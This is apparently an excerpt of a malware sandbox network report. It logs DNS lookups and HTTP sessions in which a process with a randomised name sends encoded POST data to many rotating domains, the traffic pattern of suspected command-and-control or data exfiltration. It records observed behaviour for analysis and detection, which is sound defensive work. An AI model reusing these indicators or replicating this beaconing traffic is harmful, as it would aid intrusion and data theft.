Sep 11, 2024 11:18:48.831665993 CEST	1.1.1.1	192.168.2.4	0xdbba	No error (0)	useanecdotenow.tech		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:18:48.831665993 CEST	1.1.1.1	192.168.2.4	0xdbba	No error (0)	useanecdotenow.tech		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:01.983338118 CEST	1.1.1.1	192.168.2.4	0x4f28	No error (0)	www.asiapartnars.online	asiapartnars.online		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:19:01.983338118 CEST	1.1.1.1	192.168.2.4	0x4f28	No error (0)	asiapartnars.online		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:01.983338118 CEST	1.1.1.1	192.168.2.4	0x4f28	No error (0)	asiapartnars.online		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:15.155782938 CEST	1.1.1.1	192.168.2.4	0x2b77	No error (0)	www.linkwave.cloud	linkwave.cloud		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:19:15.155782938 CEST	1.1.1.1	192.168.2.4	0x2b77	No error (0)	linkwave.cloud		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:15.155782938 CEST	1.1.1.1	192.168.2.4	0x2b77	No error (0)	linkwave.cloud		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:28.718796968 CEST	1.1.1.1	192.168.2.4	0x5bdd	No error (0)	www.mfgarage.net		85.153.138.113	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:42.304311037 CEST	1.1.1.1	192.168.2.4	0xe26c	No error (0)	www.b5x7vk.agency		104.21.11.31	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:42.304311037 CEST	1.1.1.1	192.168.2.4	0xe26c	No error (0)	www.b5x7vk.agency		172.67.165.25	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:55.962289095 CEST	1.1.1.1	192.168.2.4	0xc182	No error (0)	www.rtpngk.xyz		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:19:55.962289095 CEST	1.1.1.1	192.168.2.4	0xc182	No error (0)	www.rtpngk.xyz		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:20:09.751230001 CEST	1.1.1.1	192.168.2.4	0xa279	No error (0)	www.doggieradio.net	doggieradio.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:20:09.751230001 CEST	1.1.1.1	192.168.2.4	0xa279	No error (0)	doggieradio.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:20:09.751230001 CEST	1.1.1.1	192.168.2.4	0xa279	No error (0)	doggieradio.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:20:23.296435118 CEST	1.1.1.1	192.168.2.4	0x2548	No error (0)	www.40wxd.top	40wxd.top		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:20:23.296435118 CEST	1.1.1.1	192.168.2.4	0x2548	No error (0)	40wxd.top		206.119.82.134	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:20:37.361391068 CEST	1.1.1.1	192.168.2.4	0x9c67	No error (0)	www.030002304.xyz	030002304.xyz		CNAME (Canonical name)	IN (0x0001)	false
Sep 11, 2024 11:20:37.361391068 CEST	1.1.1.1	192.168.2.4	0x9c67	No error (0)	030002304.xyz		65.21.196.90	A (IP address)	IN (0x0001)	false
Sep 11, 2024 11:20:51.583141088 CEST	1.1.1.1	192.168.2.4	0xc5e9	No error (0)	www.kfowks.site		38.181.141.122	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.2bhp.com

www.ultraleap.net

www.dalong.site

www.mgeducacaopro.online

www.heldhold.xyz

www.63582.photo

www.useanecdotenow.tech

www.asiapartnars.online

www.linkwave.cloud

www.mfgarage.net

www.b5x7vk.agency

www.rtpngk.xyz

www.doggieradio.net

www.40wxd.top

www.030002304.xyz

www.kfowks.site

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	81.88.63.46	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:17:24.474478006 CEST	495	OUT	GET /a4ar/?V0Qh=4pBta8&pP_8=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.2bhp.com Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:17:25.129198074 CEST	367	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Sep 2024 09:17:25 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 34 61 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /a4ar/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	63317	217.70.184.50	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:17:40.222723007 CEST	766	OUT	POST /8pln/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ultraleap.net Origin: http://www.ultraleap.net Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ultraleap.net/8pln/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 34 36 70 41 31 52 66 4e 51 72 73 6b 61 4b 4d 33 35 76 51 7a 47 57 52 74 63 31 66 38 33 30 62 31 4a 32 38 54 46 74 63 79 2b 44 4e 50 4c 41 73 55 63 6f 4e 74 50 70 6e 76 58 68 6d 33 72 38 48 6b 4b 75 77 70 76 39 69 48 6f 37 6a 45 77 70 42 4e 61 49 78 51 76 36 4f 4b 59 53 36 7a 5a 32 50 51 61 72 4d 72 4d 43 34 36 48 6b 76 6b 49 63 47 36 46 6e 6e 43 68 55 32 55 4c 69 43 57 57 52 4a 79 36 78 45 50 35 46 42 39 4b 76 44 46 72 55 6d 70 2b 51 72 33 6a 76 6d 39 63 42 63 65 56 73 4c 48 56 55 55 63 2b 39 67 31 66 62 72 70 56 46 65 49 5a 7a 77 55 46 41 3d 3d Data Ascii: pP_8=e/XjuvFYh54w46pA1RfNQrskaKM35vQzGWRtc1f830b1J28TFtcy+DNPLAsUcoNtPpnvXhm3r8HkKuwpv9iHo7jEwpBNaIxQv6OKYS6zZ2PQarMrMC46HkvkIcG6FnnChU2ULiCWWRJy6xEP5FB9KvDFrUmp+Qr3jvm9cBceVsLHVUUc+9g1fbrpVFeIZzwUFA==
Sep 11, 2024 11:17:40.860830069 CEST	608	IN	HTTP/1.1 501 Unsupported method ('POST') Server: nginx Date: Wed, 11 Sep 2024 09:17:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED] Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	63318	217.70.184.50	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:17:43.430991888 CEST	786	OUT	POST /8pln/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ultraleap.net Origin: http://www.ultraleap.net Content-Length: 221 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ultraleap.net/8pln/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 69 5a 68 41 7a 78 6a 4e 52 4c 73 6a 51 71 4d 33 79 50 51 76 47 57 56 74 63 30 72 57 33 48 2f 31 49 55 6b 54 45 73 63 79 35 44 4e 50 41 67 73 49 54 49 4d 68 50 70 71 51 58 67 61 33 72 34 76 6b 4b 75 67 70 76 4f 36 45 36 62 6a 47 34 4a 42 4c 48 34 78 51 76 36 4f 4b 59 53 75 4e 5a 32 58 51 61 61 38 72 4d 6d 73 35 4f 45 76 6e 65 73 47 36 50 33 6e 65 68 55 33 48 4c 6e 69 73 57 54 42 79 36 78 55 50 34 55 42 2b 5a 50 44 4c 6c 30 6e 43 7a 67 2f 36 76 4b 4c 39 65 52 51 52 5a 66 4c 42 51 53 46 47 76 4d 42 69 4e 62 50 61 49 43 58 38 55 77 4e 64 65 41 4a 68 4b 56 4d 38 52 65 66 58 64 50 76 42 4c 45 79 78 74 45 67 3d Data Ascii: pP_8=e/XjuvFYh54wiZhAzxjNRLsjQqM3yPQvGWVtc0rW3H/1IUkTEscy5DNPAgsITIMhPpqQXga3r4vkKugpvO6E6bjG4JBLH4xQv6OKYSuNZ2XQaa8rMms5OEvnesG6P3nehU3HLnisWTBy6xUP4UB+ZPDLl0nCzg/6vKL9eRQRZfLBQSFGvMBiNbPaICX8UwNdeAJhKVM8RefXdPvBLEyxtEg=
Sep 11, 2024 11:17:44.027640104 CEST	608	IN	HTTP/1.1 501 Unsupported method ('POST') Server: nginx Date: Wed, 11 Sep 2024 09:17:43 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 31 61 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 31 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 31 2f 44 54 44 2f 78 68 74 6d 6c 31 31 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 48 54 4d 4c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 35 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 35 30 31 20 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 20 28 27 50 4f 53 54 27 29 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 55 6e 73 75 70 70 6f [TRUNCATED] Data Ascii: 1ac<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <meta http-equiv="Content-Type" content="text/HTML; charset=iso-8859-15" /> <title>501 Unsupported method ('POST')</title> </head> <body> <h1>Unsupported method ('POST')</h1> <p>Server does not support this operation</p> </body></html> 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	63319	217.70.184.50	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:17:45.975841045 CEST	10868	OUT	POST /8pln/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.ultraleap.net Origin: http://www.ultraleap.net Content-Length: 10301 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.ultraleap.net/8pln/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 65 2f 58 6a 75 76 46 59 68 35 34 77 69 5a 68 41 7a 78 6a 4e 52 4c 73 6a 51 71 4d 33 79 50 51 76 47 57 56 74 63 30 72 57 33 48 33 31 49 68 77 54 46 4c 41 79 34 44 4e 50 44 67 73 4c 54 49 4d 6f 50 70 79 55 58 67 57 42 72 2b 72 6b 49 4d 59 70 70 2f 36 45 78 62 6a 47 30 70 42 4f 61 49 78 42 76 2b 71 56 59 53 2b 4e 5a 32 58 51 61 59 6b 72 62 69 34 35 43 6b 76 6b 49 63 47 2b 46 6e 6e 36 68 55 76 58 4c 6e 75 38 57 69 68 79 37 51 6b 50 30 47 5a 2b 61 76 44 4a 6d 30 6e 61 7a 67 69 36 76 4f 72 4c 65 53 4e 38 5a 59 37 42 51 56 38 51 35 4f 45 2b 58 71 66 70 56 54 50 76 55 79 46 6e 58 33 52 32 44 45 45 44 4f 65 58 50 47 49 48 46 4d 6d 32 79 75 78 73 33 79 49 30 62 67 78 54 31 76 59 77 46 50 6c 63 4e 6b 43 55 61 77 63 32 33 53 32 73 38 46 79 41 50 50 64 48 67 6a 31 39 62 54 38 61 6b 38 73 72 51 31 6a 54 59 71 49 70 5a 37 5a 4f 42 66 30 55 49 38 66 74 56 56 43 48 68 41 46 70 65 70 39 6b 51 48 32 31 4b 4b 4e 42 48 77 61 59 6d 4c 2b 38 54 38 78 47 41 4d 72 71 65 74 36 68 4e 78 78 55 5a 65 31 39 6d 52 [TRUNCATED] Data Ascii: pP_8=e/XjuvFYh54wiZhAzxjNRLsjQqM3yPQvGWVtc0rW3H31IhwTFLAy4DNPDgsLTIMoPpyUXgWBr+rkIMYpp/6ExbjG0pBOaIxBv+qVYS+NZ2XQaYkrbi45CkvkIcG+Fnn6hUvXLnu8Wihy7QkP0GZ+avDJm0nazgi6vOrLeSN8ZY7BQV8Q5OE+XqfpVTPvUyFnX3R2DEEDOeXPGIHFMm2yuxs3yI0bgxT1vYwFPlcNkCUawc23S2s8FyAPPdHgj19bT8ak8srQ1jTYqIpZ7ZOBf0UI8ftVVCHhAFpep9kQH21KKNBHwaYmL+8T8xGAMrqet6hNxxUZe19mRm7pSynUpV8FmM0qrq/tZxxkR6uir0qeuGuWWrkF8yD+lcVdj5vQC3bpeFwI5HDpVRR7zBNBLdVzZ4Ba6WsIWxHMP+c/KtTmQ+1vGox7cMDTUa8WzgUK57s2TVGbbN2nuu2Q62W5F/9znSs7Czhf1SwN69+NyyDhKZieZmSYQ9lZZpm/WPzOC9eNXduu8NXLa+oQoWy+xzK2UsuwDbxakg+QTgjaNQFqh/0ceHxS8eZ6gyu7ZzxfEejWLg71vrFR2gQ34MfOLZMKFs4a71jjsi8P3ofzAH5TyTVrfyCQP8kzQtt7wKPeGvekxMenUoGXbc4r6jL0bRxHBsPVhZuG8+5szYI8YvOWH/s6W+HrHRhYDK6+sTxQlDyGNkYQOjUfqc8vIBvcMMCmy49cJkL4/YOieVc8OpjmM6KBAV/AB4cRo0NKIdMV0I7AtuuvRsr9j33xjuxi/FviyzAL7jSafDjzxNY1ZD0QHPdDquzRc0L/eIIXEclqCcyA5TaExNIXBoCyBaozPUNzZxVSs8Ja8vfjywDfHT4h4Cocjwit8jSreS1J3Yk5Wlp4CLS4fkZnzI7ppxoMK4UkLZayz5v29BifUuptnxNIIS39b8c1v0lu3a2Gc1mOf91mVKCDF6XlKiNDBq9k/kIBzje1T2f+xq9gq/d4CwKryrE [TRUNCATED]
Sep 11, 2024 11:17:46.566657066 CEST	713	IN	HTTP/1.1 502 Bad Gateway Server: nginx Date: Wed, 11 Sep 2024 09:17:46 GMT Content-Type: text/html Content-Length: 568 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body bgcolor="white"><center><h1>502 Bad Gateway</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	63320	217.70.184.50	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:17:48.519026041 CEST	500	OUT	GET /8pln/?pP_8=T9/DtY4QstE2hf5O1waUB+I/eJ4Uv9cvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9oL792aB/FoBSyK+aeSTPR1nXcfMqNX8wInY=&V0Qh=4pBta8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.ultraleap.net Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36
Sep 11, 2024 11:17:49.105931997 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 09:17:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Language Data Raw: 37 38 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 69 73 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 72 65 67 69 73 74 65 72 65 64 20 77 69 74 68 20 47 61 6e 64 69 2e 6e 65 74 2e 20 49 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 70 61 72 6b 65 64 20 62 79 20 74 68 65 20 6f 77 6e 65 72 2e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 75 6c 74 72 61 6c 65 61 70 2e 6e 65 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 [TRUNCATED] Data Ascii: 785<!DOCTYPE html><html class="no-js" lang=en> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width"> <meta name="description" content="This domain name has been registered with Gandi.net. It is currently parked by the owner."> <title>ultraleap.net</title> <link rel="stylesheet" type="text/css" href="main-78844350.css"> <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"/> <link rel="preload" as="font" href="fonts/Montserrat-Regular.woff2" type="font/woff2" crossorigin/> <link rel="preload" as="font" href="fonts/Montserrat-SemiBold.woff2" type="font/woff2" crossorigin/> </head> <body> <div class="ParkingPage_2023-root_2dpus "><main class="OldStatic_2023-root_1AGy1 Parking_2023-root_qhMQ2"><div><article class="Parking_2023-content_1rA87"><h1 class="OldStatic_2023-title_13ceK">This domain name has been registered with Gandi.net</h1><div class="OldStatic_2023-text_37nqO Parking_2023-text_1JZys"><p><a href="https://wh [TRUNCATED]
Sep 11, 2024 11:17:49.105952024 CEST	890	IN	Data Raw: 72 61 6c 65 61 70 2e 6e 65 74 22 3e 3c 73 74 72 6f 6e 67 3e 56 69 65 77 20 74 68 65 20 57 48 4f 49 53 20 72 65 73 75 6c 74 73 20 6f 66 20 75 6c 74 72 61 6c 65 61 70 2e 6e 65 74 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 61 3e 20 74 6f 20 67 65 74 20 74 68 Data Ascii: raleap.net"><strong>View the WHOIS results of ultraleap.net</strong></a> to get the domains public registration information.</p></div><div class="Parking_2023-positionbox_2OgLh"><div class="Parking_2023-outerbox_2j18t"><p class="Parking_202

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	63321	172.96.187.60	80	3496	C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 11:17:54.669792891 CEST	760	OUT	POST /v2c3/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.dalong.site Origin: http://www.dalong.site Content-Length: 201 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Referer: http://www.dalong.site/v2c3/ User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.4 Safari/537.36 Data Raw: 70 50 5f 38 3d 31 49 2b 62 6f 39 54 68 6c 45 38 47 71 4f 75 47 63 6e 53 55 2b 42 62 64 32 68 31 4f 58 4f 4d 55 65 49 43 33 52 69 38 6c 38 75 53 52 34 41 45 39 45 44 5a 54 63 77 4e 42 53 50 70 61 6c 7a 54 59 70 6c 41 7a 4c 4d 38 2f 32 7a 4e 75 67 45 66 78 58 68 41 55 34 4e 79 4e 49 70 35 58 77 6a 4e 6e 6c 59 7a 59 37 2f 58 6b 50 42 76 79 2f 69 63 4d 6b 54 6c 71 64 57 77 76 4c 6a 6f 41 71 56 34 59 51 4c 44 48 57 6b 4e 4c 2b 6b 52 52 51 4d 4b 35 77 73 34 6b 61 4b 6b 48 75 54 41 49 39 79 6c 6e 54 51 5a 2f 6a 52 66 6a 52 6d 53 72 55 39 41 56 73 6b 43 36 45 63 30 39 73 55 6c 69 7a 46 36 45 32 41 3d 3d Data Ascii: pP_8=1I+bo9ThlE8GqOuGcnSU+Bbd2h1OXOMUeIC3Ri8l8uSR4AE9EDZTcwNBSPpalzTYplAzLM8/2zNugEfxXhAU4NyNIp5XwjNnlYzY7/XkPBvy/icMkTlqdWwvLjoAqV4YQLDHWkNL+kRRQMK5ws4kaKkHuTAI9ylnTQZ/jRfjRmSrU9AVskC6Ec09sUlizF6E2A==
